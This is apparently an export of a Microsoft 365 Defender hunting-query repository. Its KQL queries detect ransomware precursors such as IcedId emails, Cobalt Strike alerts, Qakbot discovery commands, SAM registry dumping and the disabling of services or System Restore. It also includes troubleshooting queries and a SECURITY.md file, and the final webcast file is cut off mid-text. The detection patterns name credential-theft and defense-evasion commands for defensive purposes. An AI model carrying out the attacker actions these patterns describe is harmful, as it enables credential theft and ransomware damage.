    "content": "# IcedId attachments\n\nUse this query to locate emails with subject indicators of a reply or forward, and the attachment is a .doc, or a .zip containing a .doc. Review results for suspicious emails.\nIcedId can lead to ransomware\n\n## Query\n```\n// Identify a reply or forward via subject line \nlet SubjectTerms = pack_array(\"RE:\",\"FW:\",\"FWD:\",\"AW:\",\"WG:\"); \nEmailEvents \n| where Subject has_any(SubjectTerms) \n| where EmailDirection == \"Inbound\" // Join on those emails by file type (doc or zip>doc) \n| join EmailAttachmentInfo on $left.NetworkMessageId == $right.NetworkMessageId \n| where AttachmentCount == 1 \n| where FileType has 'WordStorage' or FileType has 'WordStorage;Zip'\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/IcedId email delivery.md",
    "content": "# IcedId Email Delivery\n\nUse this query to locate emails and malicious downloads related to the IcedId activity that can lead to ransomware\n\n## Query\n```\nEmailUrlInfo \n| where Url matches regex @\"\\bsites\\.google\\.com\\/view\\/(?:id)?\\d{9,}\\b\" \n| join EmailEvents on NetworkMessageId // Note: Replace the following subject lines with the one generated by your website's Contact submission form if no results return initially \n| where Subject has_any('Contact Us', 'New Submission', 'Contact Form', 'Form submission')\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | V |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/LaZagne Credential Theft.md",
    "content": "# LaZagne Credential Theft\n\nUse this query to locate processes executing credential theft activity, often LaZagne in ransomware compromises.\n\n## Query\n```\nDeviceProcessEvents \n| where FileName =~ 'reg.exe'\n| where ProcessCommandLine has_all('save','hklm','sam')\n| project DeviceId, Timestamp, InitiatingProcessId, InitiatingProcessFileName, ProcessId, FileName, ProcessCommandLine\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Potential ransomware activity related to Cobalt Strike.md",
    "content": "# Devices with Cobalt Strike and defense evasion alerts\n\nUse this query to look for alerts related to suspected ransomware and Cobalt Strike activity, a tool used in numerous ransomware campaigns\n\n## Query\n```\n// Look for sc.exe disabling services\nAlertInfo \n// Attempts to clear security event logs. \n| where Title in(\"Event log was cleared\", \n// List alerts flagging attempts to delete backup files. \n\"File backups were deleted\", \n// Potential Cobalt Strike activity - Note that other threat activity can also \n// trigger alerts for suspicious decoded content \n\"Suspicious decoded content\", \n// Cobalt Strike activity \n\"\\'Atosev\\' malware was detected\", \n\"\\'Ploty\\' malware was detected\", \n\"\\'Bynoco\\' malware was detected\",\n\"\\'Cobaltstrike\\' malware was detected\",\n\"Echo command over pipe on localhost\",\n\"Known attack framework activity was observed\",\n\"An active \\'Cobaltstrike\\' malware was detected\",\n\"Suspicious \\'CobaltStrike\\' behavior was prevented\",\n\"Suspicious process launch by Rundll32.exe\") \n| extend AlertTime = Timestamp | distinct AlertTime, AlertId, Title \n| join AlertEvidence on $left.AlertId == $right.AlertId\n| summarize by DeviceId, AlertTime, Title, AlertId\n// Get device IDs\n| join DeviceLogonEvents on $left.DeviceId == $right.DeviceId \n// Creating 10 day Window surrounding alert activity \n| where Timestamp < AlertTime +5d and Timestamp > AlertTime - 5d // Projecting specific columns \n| project Title, DeviceName, DeviceId, Timestamp, LogonType, AccountDomain, AccountName, AccountSid, AlertTime, AlertId, RemoteIP, RemoteDeviceName\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Qakbot discovery activies.md",
    "content": "# Qakbot discovery activities\n\nUse this query to locate injected processes launching discovery activity. Qakbot has been observed leading to ransomware in numerous instances.\n\n## Query\n```\nDeviceProcessEvents \n| where InitiatingProcessFileName in~('mobsync.exe','explorer.exe')\n| where (FileName =~ 'net.exe' and InitiatingProcessCommandLine has_all('view','/all'))\n     or (FileName =~ 'whoami.exe' and InitiatingProcessCommandLine has '/all')\n     or (FileName =~ 'nslookup.exe' and InitiatingProcessCommandLine has_all('querytype=ALL','timeout=10'))\n     or (FileName =~ 'netstat.exe' and InitiatingProcessCommandLine has '-nao')\n     or (FileName =~ 'arp.exe' and InitiatingProcessCommandLine has '-a')\n     or (FileName =~ 'ping.exe' and InitiatingProcessCommandLine has '-t' and InitiatingProcessCommandLine endswith '127.0.0.1')\n| summarize DiscoveryCommands = dcount(InitiatingProcessCommandLine), make_set(InitiatingProcessFileName), make_set(FileName), make_set(InitiatingProcessCommandLine) by DeviceId, bin(Timestamp, 5m)   \n| where DiscoveryCommands >= 3\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Sticky Keys.md",
    "content": "# Sticky Keys\n\nA technique used in numerous ransomware attacks is a Sticky Keys hijack for privilege escalation/persistence. Surface realted alerts with this query.\n\n## Query\n```\n// Checks for possible hijacking of Sticky Keys feature \nAlertInfo | where Title == \"Sticky Keys binary hijack detected\"\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Stopping multiple processes using taskkill.md",
    "content": "# Stopping multiple processes using taskkill.exe\nThis query checks for attempts to stop at least 10 separate processes using the taskkill.exe utility. Run query\n## Query\n```\n// Find attempts to stop processes using taskkill.exe\nDeviceProcessEvents\n| where Timestamp > ago(1d)\n| where FileName =~ \"taskkill.exe\" \n| summarize taskKillCount = dcount(ProcessCommandLine), TaskKillList = make_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 2m)\n| where taskKillCount > 10\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Stopping processes using net stop.md",
    "content": "# Stopping processes using net stop\n\nThis query checks for attempts to stop at least 10 separate processes using the net stop command. Run query\n\n## Query\n```\n// Find attempts to stop processes using net stop\nDeviceProcessEvents\n| where Timestamp > ago(1d)\n| where FileName =~ \"net.exe\" and ProcessCommandLine has \"stop\"\n| summarize netStopCount = dcount(ProcessCommandLine), NetStopList = make_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 2m)\n| where netStopCount > 10\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Suspicious Bitlocker Encryption.md",
    "content": "# Suspicious Bitlocker Encryption\n\nLooks for potential instances of bitlocker modifying registry settings to allow encryption, where it's executed via a .bat file.\n\n## Query\n```\nDeviceProcessEvents\n| where FileName =~ \"reg.exe\" \n// Search for BitLocker encryption being enabled without the chip\n    and ProcessCommandLine has \"EnableBDEWithNoTPM\"\n    // Using contains due to variant forms of capturing 1: 1, 0x1\n    and (ProcessCommandLine has \"true\" or ProcessCommandLine contains \"1\")\n// Search for this activity being launched by batch scripts, typically as: C:\\Windows\\[name].bat\n| where InitiatingProcessCommandLine has_all (@\"C:\\Windows\\\", \".bat\")\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Suspicious Google Doc Links.md",
    "content": "# Suspicious Google Doc Links\n\nUse this query to find emails with message IDs that resemble IDs used in known attack emails and contain a link a document in Google Docs. These behaviors have\nbeen observed leading to ransomware attacks.\n\n## Query\n```\nEmailUrlInfo \n| where Url startswith \"https://docs.google.com/document/\" \n| join (EmailEvents \n| where EmailDirection == \"Inbound\" \n| where InternetMessageId matches regex \"\\\\<\\\\w{ 38,42} \\\\@\") on NetworkMessageId \n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |V  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Suspicious Image Load related to IcedId.md",
    "content": "# Suspicious Image Load related to IcedId.md\n\nUse this query to locate suspicious load image events by rundll32.exe or regsvr32.exe, a behavior associated with IcedId, which can lead to ransomware.\n\n## Query\n```\nDeviceImageLoadEvents \n| where InitiatingProcessFileName in~ ('rundll32.exe','regsvr32.exe') \n| where FileName endswith '.txt' or FileName endswith '.pdf'\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | V |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Turning off System Restore.md",
    "content": "# Turning off System Restore\n\nThis query identifies attempts to stop System Restore and prevent the system from creating restore points, which can be used to recover data encrypted by ransomware\n\n## Query\n```\nDeviceProcessEvents\n//Pivoting for rundll32  \n| where InitiatingProcessFileName =~ 'rundll32.exe'   \n//Looking for empty command line   \nand InitiatingProcessCommandLine !contains \" \" and InitiatingProcessCommandLine != \"\"  \n//Looking for schtasks.exe as the created process  \nand FileName in~ ('schtasks.exe')  \n//Disabling system restore   \nand ProcessCommandLine has 'Change' and ProcessCommandLine has 'SystemRestore' \nand ProcessCommandLine has 'disable'\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Turning off services using sc exe.md",
    "content": "# Turning off services using sc.exe\n\nThis query checks for attempts to turn off at least 10 existing services using sc.exe.\n\n## Query\n```\n// Look for sc.exe disabling services\nDeviceProcessEvents\n| where Timestamp > ago(1d)\n| where ProcessCommandLine has \"sc\" and ProcessCommandLine has \"config\" and ProcessCommandLine has \"disabled\"\n| summarize ScDisableCount = dcount(ProcessCommandLine), ScDisableList = make_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 5m)\n| where ScDisableCount > 10\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "SECURITY.md",
    "content": "<!-- BEGIN MICROSOFT SECURITY.MD V0.0.3 BLOCK -->\n\n## Security\n\nMicrosoft takes the security of our software products and services seriously, which includes all source code repositories managed through our GitHub organizations, which include [Microsoft](https://github.com/Microsoft), [Azure](https://github.com/Azure), [DotNet](https://github.com/dotnet), [AspNet](https://github.com/aspnet), [Xamarin](https://github.com/xamarin), and [our GitHub organizations](https://opensource.microsoft.com/).\n\nIf you believe you have found a security vulnerability in any Microsoft-owned repository that meets Microsoft's [Microsoft's definition of a security vulnerability](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc751383(v=technet.10)) of a security vulnerability, please report it to us as described below.\n\n## Reporting Security Issues\n\n**Please do not report security vulnerabilities through public GitHub issues.**\n\nInstead, please report them to the Microsoft Security Response Center (MSRC) at [https://msrc.microsoft.com/create-report](https://msrc.microsoft.com/create-report).\n\nIf you prefer to submit without logging in, send email to [secure@microsoft.com](mailto:secure@microsoft.com).  If possible, encrypt your message with our PGP key; please download it from the the [Microsoft Security Response Center PGP Key page](https://www.microsoft.com/en-us/msrc/pgp-key-msrc).\n\nYou should receive a response within 24 hours. If for some reason you do not, please follow up via email to ensure we received your original message. Additional information can be found at [microsoft.com/msrc](https://www.microsoft.com/msrc).\n\nPlease include the requested information listed below (as much as you can provide) to help us better understand the nature and scope of the possible issue:\n\n  * Type of issue (e.g. buffer overflow, SQL injection, cross-site scripting, etc.)\n  * Full paths of source file(s) related to the manifestation of the issue\n  * The location of the affected source code (tag/branch/commit or direct URL)\n  * Any special configuration required to reproduce the issue\n  * Step-by-step instructions to reproduce the issue\n  * Proof-of-concept or exploit code (if possible)\n  * Impact of the issue, including how an attacker might exploit the issue\n\nThis information will help us triage your report more quickly.\n\nIf you are reporting for a bug bounty, more complete reports can contribute to a higher bounty award. Please visit our [Microsoft Bug Bounty Program](https://microsoft.com/msrc/bounty) page for more details about our active programs.\n\n## Preferred Languages\n\nWe prefer all communications to be in English.\n\n## Policy\n\nMicrosoft follows the principle of [Coordinated Vulnerability Disclosure](https://www.microsoft.com/en-us/msrc/cvd).\n\n<!-- END MICROSOFT SECURITY.MD BLOCK -->\n"
  },
  {
    "path": "TVM/devices_with_vuln_and_users_received_payload.md",
    "content": "# Devices with vulnerability \n\n// Author: jan geisbauer \n\n// @janvonkirchheim\n\n// ------------------------\n\n// 1.\tA list of all devices that have this vulnerability\n\n// 2.\tA list of all users that uses those devices\n\n// 3.\tIf these users received .mkv files recently\n\n```\nlet all_computers_with_vlcvln=\nDeviceTvmSoftwareVulnerabilities \n| where SoftwareName contains \"vlc\" \n| summarize makelist(DeviceName);\nlet all_affected_users=\nDeviceInfo\n| where DeviceName in (all_computers_with_vlcvln)\n| mvexpand todynamic(LoggedOnUsers)\n| extend ParsedFields = parsejson(LoggedOnUsers)\n| project UserName = ParsedFields.UserName\n| summarize makelist(tolower(UserName));\nlet all_email_addresses_aff_users=\nIdentityInfo\n| where tolower(AccountName) in (all_affected_users)\n| summarize makelist(tolower(EmailAddress));\nEmailAttachmentInfo\n| where FileName contains \".mkv\"\n| where tolower(RecipientEmailAddress) in (all_email_addresses_aff_users)\n```\n\n```\n// 1.\tA list of all devices that have this vulnerability\n// 2.\tA list of all users that uses those devices\n// If these users opened those .mkv files\nlet all_computers_with_vlcvln=\nDeviceTvmSoftwareVulnerabilities \n| where SoftwareName contains \"vlc\" \n| summarize makelist(DeviceName);\nDeviceFileEvents \n| where DeviceName  in (all_computers_with_vlcvln)\n| where FileName contains \"mkv\" \n```\n"
  },
  {
    "path": "Troubleshooting/Connectivity Failures by Device.md",
    "content": "# Connectivity Failures by Device\n\nThis query checks for network connection failures to Microsoft Defender for Endpoint URLs.\nThe output includes any device with 1+ connectivity failures, a list of the domains they\nfailed to connect to (including the number of failures), as well as the overall number of\nfailures in the time period. Results are sorted by the total number of connection failures\nby the device.\n\n## Query\n\n```\nlet TargetURLs = dynamic(['crl.microsoft.com',\n'ctldl.windowsupdate.com',\n'www.microsoft.com',\n'events.data.microsoft.com',\n'login.microsoftonline.com',\n'login.live.com',\n'settings-win.data.microsoft.com',\n'x.cp.wd.microsoft.com',\n'cdn.x.cp.wd.microsoft.com',\n'eu-cdn.x.cp.wd.microsoft.com',\n'wu-cdn.x.cp.wd.microsoft.com',\n'officecdn-microsoft-com.akamaized.net',\n'packages.microsoft.com',\n'login.windows.net  ',\n'unitedstates.x.cp.wd.microsoft.com',\n'us.vortex-win.data.microsoft.com',\n'us-v20.events.data.microsoft.com',\n'winatp-gw-cus.microsoft.com',\n'winatp-gw-eus.microsoft.com',\n'winatp-gw-cus3.microsoft.com',\n'winatp-gw-eus3.microsoft.com',\n'automatedirstrprdcus.blob.core.windows.net',\n'automatedirstrprdeus.blob.core.windows.net',\n'automatedirstrprdcus3.blob.core.windows.net',\n'automatedirstrprdeus3.blob.core.windows.net',\n'ussus1eastprod.blob.core.windows.net',\n'ussus2eastprod.blob.core.windows.net',\n'ussus3eastprod.blob.core.windows.net',\n'ussus4eastprod.blob.core.windows.net',\n'wsus1eastprod.blob.core.windows.net',\n'wsus2eastprod.blob.core.windows.net',\n'ussus1westprod.blob.core.windows.net',\n'ussus2westprod.blob.core.windows.net',\n'ussus3westprod.blob.core.windows.net',\n'ussus4westprod.blob.core.windows.net',\n'wsus1westprod.blob.core.windows.net',\n'wsus2westprod.blob.core.windows.net',\n'europe.x.cp.wd.microsoft.com',\n'eu.vortex-win.data.microsoft.com',\n'eu-v20.events.data.microsoft.com',\n'winatp-gw-neu.microsoft.com',\n'winatp-gw-weu.microsoft.com',\n'automatedirstrprdneu.blob.core.windows.net',\n'automatedirstrprdweu.blob.core.windows.net',\n'usseu1northprod.blob.core.windows.net',\n'wseu1northprod.blob.core.windows.net',\n'usseu1westprod.blob.core.windows.net',\n'wseu1westprod.blob.core.windows.net',\n'unitedkingdom.x.cp.wd.microsoft.com',\n'uk.vortex-win.data.microsoft.com',\n'uk-v20.events.data.microsoft.com',\n'winatp-gw-uks.microsoft.com',\n'winatp-gw-ukw.microsoft.com',\n'automatedirstrprduks.blob.core.windows.net',\n'automatedirstrprdukw.blob.core.windows.net',\n'ussuk1southprod.blob.core.windows.net',\n'wsuk1southprod.blob.core.windows.net',\n'ussuk1westprod.blob.core.windows.net',\n'wsuk1westprod.blob.core.windows.net',\n'go.microsoft.com ',\n'definitionupdates.microsoft.com ',\n'fe3cr.delivery.mp.microsoft.com/ClientWebService/client.asmx',\n'msdl.microsoft.com',\n'vortex-win.data.microsoft.com']);\nDeviceNetworkEvents\n| where isnotempty(RemoteUrl) and ActionType == 'ConnectionFailed'\n| extend Domain = case(RemoteUrl contains \"//\", parse_url(RemoteUrl).Host, RemoteUrl)\n| where Domain in(TargetURLs)\n| summarize arg_max(Timestamp, DeviceName), ConnectionFailures = count() by DeviceId, Domain\n| extend DomainDetails = pack(Domain, ConnectionFailures)\n| summarize DomainDetails = make_list(DomainDetails), LastConnectionFailure = any(Timestamp), DeviceName = any(DeviceName), TotalConnectionFailures = sum(ConnectionFailures) by DeviceId\n| order by TotalConnectionFailures desc\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration | v |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone, with special thanks to Jesse Esquivel\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Troubleshooting/Connectivity Failures by Domain.md",
    "content": "# Connectivity Failures by Domain\n\nThis query is designed to help troubleshoot connectivity issues to Microsoft Defender for Endpoint URLs. \nIt provides a summary of the number of failures which occurred, the number of distinct machines that failed\nto connect to the URL, and sorts them by the sum of the overall number of failures recorded.\n\n## Query\n\n```\nlet TargetURLs = dynamic(['winatp-gw-cus.microsoft.com', 'winatp-gw-eus.microsoft.com', 'winatp-gw-weu.microsoft.com',\n    'winatp-gw-neu.microsoft.com', 'winatp-gw-uks.microsoft.com', 'winatp-gw-ukw.microsoft.com', 'winatp-gw-usgv.microsoft.com',\n    'winatp-gw-usgt.microsoft.com', 'eu.vortex-win.data.microsoft.com', 'us.vortex-win.data.microsoft.com',\n    'uk.vortex-win.data.microsoft.com', 'events.data.microsoft.com', 'settings-win.data.microsoft.com', 'eu-v20.events.data.microsoft.com',\n    'uk-v20.events.data.microsoft.com', 'us-v20.events.data.microsoft.com', 'us4-v20.events.data.microsoft.com',\n    'us5-v20.events.data.microsoft.com', 'ctldl.windowsupdate.com']);\nDeviceNetworkEvents\n| where isnotempty(RemoteUrl) and ActionType == 'ConnectionFailed'\n| extend Domain = case(RemoteUrl contains \"//\", parse_url(RemoteUrl).Host, RemoteUrl)\n| where Domain in(TargetURLs)\n| summarize (LastConnectionFailure, DeviceName) = arg_max(Timestamp, DeviceName), ConnectionFailures = count(), DistinctMachines = dcount(DeviceId) by Domain\n| order by DistinctMachines desc\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone, with special thanks to Jessie Esquivel\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Webcasts/Airlift 2021 - Lets Invoke.csl",
    "content": "\r\n\r\n//   (     (  (   (   ((    (( ((     )  \r\n//   )\\    )\\ )\\  )\\  ))\\   ))\\))\\   ()) \r\n//  ((_)  ((()_()((_)((_)))((_)(_)))(()))\r\n//  \\ \\    / /   \\ _ \\ \\| |_ _| \\| |/ __|\r\n//   \\ \\/\\/ /| - |   / .  || || .  | (_ |\r\n//    \\_/\\_/ |_|_|_|_\\_|\\_|___|_|\\_|\\___|\r\n\r\n//   (    ) )     ) )          (       (      (    \r\n//  )\\  (\\(  (  (\\( (        (()      )\\     )\\   \r\n//  ((_)  )(| )\\: )(|)\\      (((_)    ((_)   ((_)  \r\n//  | |   ()\\((_)_()\\| |     | | |   (/  \\  (/  \\  \r\n//  | |__/ -_) V / -_) |     |_  _|  | () | | () | \r\n//  |____|___|\\_/\\___|_|       |_|    \\__/   \\__/  \r\n\r\n/////////////////////\r\n// Kusto Functions //\r\n/////////////////////\r\n\r\n// Sometimes you write something cool and want to reuse it a bunch of times.\r\n// In this webcast we are going to cover some cool ways to use the let statement\r\n// to enable query reuse.\r\n\r\n// let - not just for variables :)\r\n// https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/letstatement\r\n\r\nlet MyFunction = (MyParameter:string)\r\n{\r\n    print MyParameter\r\n};\r\nMyFunction('foo')\r\n\r\n// ...but that's just getting started. You can also pass in tabular data!\r\n// To accomplish this we will use the invoke tabluar operator\r\n// https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/invokeoperator\r\n\r\nlet MyOtherFunction = (MyParameter:(Value:int))\r\n{\r\n    MyParameter\r\n    | extend Sine = sin(Value), Cosine = cos(Value), Tangent = tan(Value), Cotangent = cot(Value)\r\n};\r\ndatatable(Value:int)\r\n[\r\n    1,2,3,4,5,6,7,8,9,10\r\n]\r\n| invoke MyOtherFunction()\r\n\r\n// The column name must match between the parameter and the source data !\r\n\r\n// You can also 